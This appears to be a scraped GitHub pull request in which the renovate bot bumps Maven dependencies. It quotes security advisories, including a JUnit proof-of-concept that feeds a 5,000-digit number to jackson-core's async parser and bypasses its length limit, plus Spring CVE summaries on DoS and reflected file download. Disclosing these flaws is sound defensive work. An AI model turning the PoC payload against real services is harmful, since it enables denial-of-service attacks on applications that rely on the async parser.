Update all non-major maven dependencies by renovate[bot] · Pull Request #64 · valitydev/adapter-common-lib

renovate · 2024-03-20T10:47:51Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
org.springframework.vault:spring-vault-core (source)	`3.1.1` → `3.2.0`
org.apache.httpcomponents.client5:httpclient5 (source)	`5.3.1` → `5.6`
com.sun.xml.bind:jaxb-impl (source)	`4.0.0` → `4.0.7`
jakarta.activation:jakarta.activation-api	`2.1.0` → `2.1.4`
jakarta.xml.bind:jakarta.xml.bind-api	`4.0.0` → `4.0.5`
org.projectlombok:lombok (source)	`1.18.32` → `1.18.44`
org.aspectj:aspectjweaver (source)	`1.9.7` → `1.9.25.1`
net.datafaker:datafaker (source)	`2.4.3` → `2.5.4`
commons-codec:commons-codec (source)	`1.15` → `1.21.0`
org.apache.commons:commons-lang3 (source)	`3.18.0` → `3.20.0`
com.fasterxml.jackson.core:jackson-core	`2.17.1` → `2.18.6`
com.fasterxml.jackson.datatype:jackson-datatype-jsr310	`2.17.1` → `2.21.2`
com.fasterxml.jackson.core:jackson-databind (source)	`2.17.1` → `2.21.2`
org.springframework.boot:spring-boot-actuator (source)	`3.3.1` → `3.5.12`
org.springframework.boot:spring-boot (source)	`3.3.1` → `3.3.11`
org.springframework:spring-web	`6.1.10` → `6.1.21`
org.springframework:spring-core	`6.1.10` → `6.2.17`

GitHub Vulnerability Alerts

GHSA-72hv-8253-57qq

Summary

The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

Details

The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.

The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @&#8203;Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
		
		// Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @&#8203;Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Impact

A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:

Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.

Suggested Remediation

The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.

NOTE: This research was performed in collaboration with rohan-repos

CVE-2025-22235

EndpointRequest.to() creates a matcher for null/** if the actuator endpoint, for which the EndpointRequest has been created, is disabled or not exposed.

Your application may be affected by this if all the following conditions are met:

You use Spring Security
EndpointRequest.to() has been used in a Spring Security chain configuration
The endpoint which EndpointRequest references is disabled or not exposed via web
Your application handles requests to /null and this path needs protection

You are not affected if any of the following is true:

You don't use Spring Security
You don't use EndpointRequest.to()
The endpoint which EndpointRequest.to() refers to is enabled and is exposed
Your application does not handle requests to /null or this path does not need protection

CVE-2024-38809

Description

Applications that parse ETags from If-Match or If-None-Match request headers are vulnerable to DoS attack.

Affected Spring Products and Versions

org.springframework:spring-web in versions

6.1.0 through 6.1.11
6.0.0 through 6.0.22
5.3.0 through 5.3.37

Older, unsupported versions are also affected

Mitigation

Users of affected versions should upgrade to the corresponding fixed version.
6.1.x -> 6.1.12
6.0.x -> 6.0.23
5.3.x -> 5.3.38
No other mitigation steps are necessary.

Users of older, unsupported versions could enforce a size limit on If-Match and If-None-Match headers, e.g. through a Filter.

CVE-2024-38820

The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive. However, String.toLowerCase() has some Locale dependent exceptions that could potentially result in fields not protected as expected.

CVE-2025-41234

Description

In Spring Framework, versions 6.0.x as of 6.0.5, versions 6.1.x and 6.2.x, an application is vulnerable to a reflected file download (RFD) attack when it sets a “Content-Disposition” header with a non-ASCII charset, where the filename attribute is derived from user-supplied input.

Specifically, an application is vulnerable when all the following are true:

The header is prepared with org.springframework.http.ContentDisposition.
The filename is set via ContentDisposition.Builder#filename(String, Charset).
The value for the filename is derived from user-supplied input.
The application does not sanitize the user-supplied input.
The downloaded content of the response is injected with malicious commands by the attacker (see RFD paper reference for details).

An application is not vulnerable if any of the following is true:

The application does not set a “Content-Disposition” response header.
The header is not prepared with org.springframework.http.ContentDisposition.
The filename is set via one of:
- ContentDisposition.Builder#filename(String), or
- ContentDisposition.Builder#filename(String, ASCII)
The filename is not derived from user-supplied input.
The filename is derived from user-supplied input but sanitized by the application.
The attacker cannot inject malicious content in the downloaded content of the response.

Affected Spring Products and VersionsSpring Framework

6.2.0 - 6.2.7
6.1.0 - 6.1.20
6.0.5 - 6.0.28
Older, unsupported versions are not affected

Mitigation

Users of affected versions should upgrade to the corresponding fixed version.

Affected version(s)	Fix version	Availability
6.2.x	6.2.8	OSS
6.1.x	6.1.21	OSS
6.0.x	6.0.29	Commercial

No further mitigation steps are necessary.

Release Notes

spring-projects/spring-vault (org.springframework.vault:spring-vault-core)

Uh oh!

Conversation

renovate Bot commented Mar 20, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Summary

Details

PoC

Impact

Suggested Remediation

Description

Affected Spring Products and Versions

Mitigation

Description

Affected Spring Products and VersionsSpring Framework

Mitigation

Release Notes

📗 Links

⭐ New Features

🐞 Bug Fixes

📔 Documentation

🔨 Dependency Upgrades

❤️ Contributors

📗 Links

⭐ New Features

🐞 Bug Fixes

🔨 Dependency Upgrades

❤️ Contributors

📗 Links

🐞 Bug Fixes

📔 Documentation

🔨 Dependency Upgrades

❤️ Contributors

v2.1.3: Jakarta Activation 2.1.3 Final Release

v2.1.2: Jakarta Activation 2.1.2 Final Release

v2.1.1: Jakarta Activation 2.1.1 Final Release

New Contributors

v4.0.5: Jakarta XML Binding API 4.0.5

What's Changed

v4.0.4: Jakarta XML Binding API 4.0.4

What's Changed

New Contributors

v4.0.3: Jakarta XML Binding API 4.0.3

What's Changed

New Contributors

v4.0.2: Jakarta XML Binding API 4.0.2

New Contributors

v4.0.1: Jakarta XML Binding API 4.0.1

New Contributors

What's Changed

New Contributors

What's Changed

New Contributors

What's Changed

New Contributors

What's Changed

New Contributors

Configuration

Uh oh!

codecov Bot commented Mar 20, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Codecov Report

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

renovate Bot commented Mar 20, 2024 •

edited

Loading

`v2.1.3`: Jakarta Activation 2.1.3 Final Release

`v2.1.2`: Jakarta Activation 2.1.2 Final Release

`v2.1.1`: Jakarta Activation 2.1.1 Final Release

`v4.0.5`: Jakarta XML Binding API 4.0.5

`v4.0.4`: Jakarta XML Binding API 4.0.4

`v4.0.3`: Jakarta XML Binding API 4.0.3

`v4.0.2`: Jakarta XML Binding API 4.0.2

`v4.0.1`: Jakarta XML Binding API 4.0.1

codecov Bot commented Mar 20, 2024 •

edited

Loading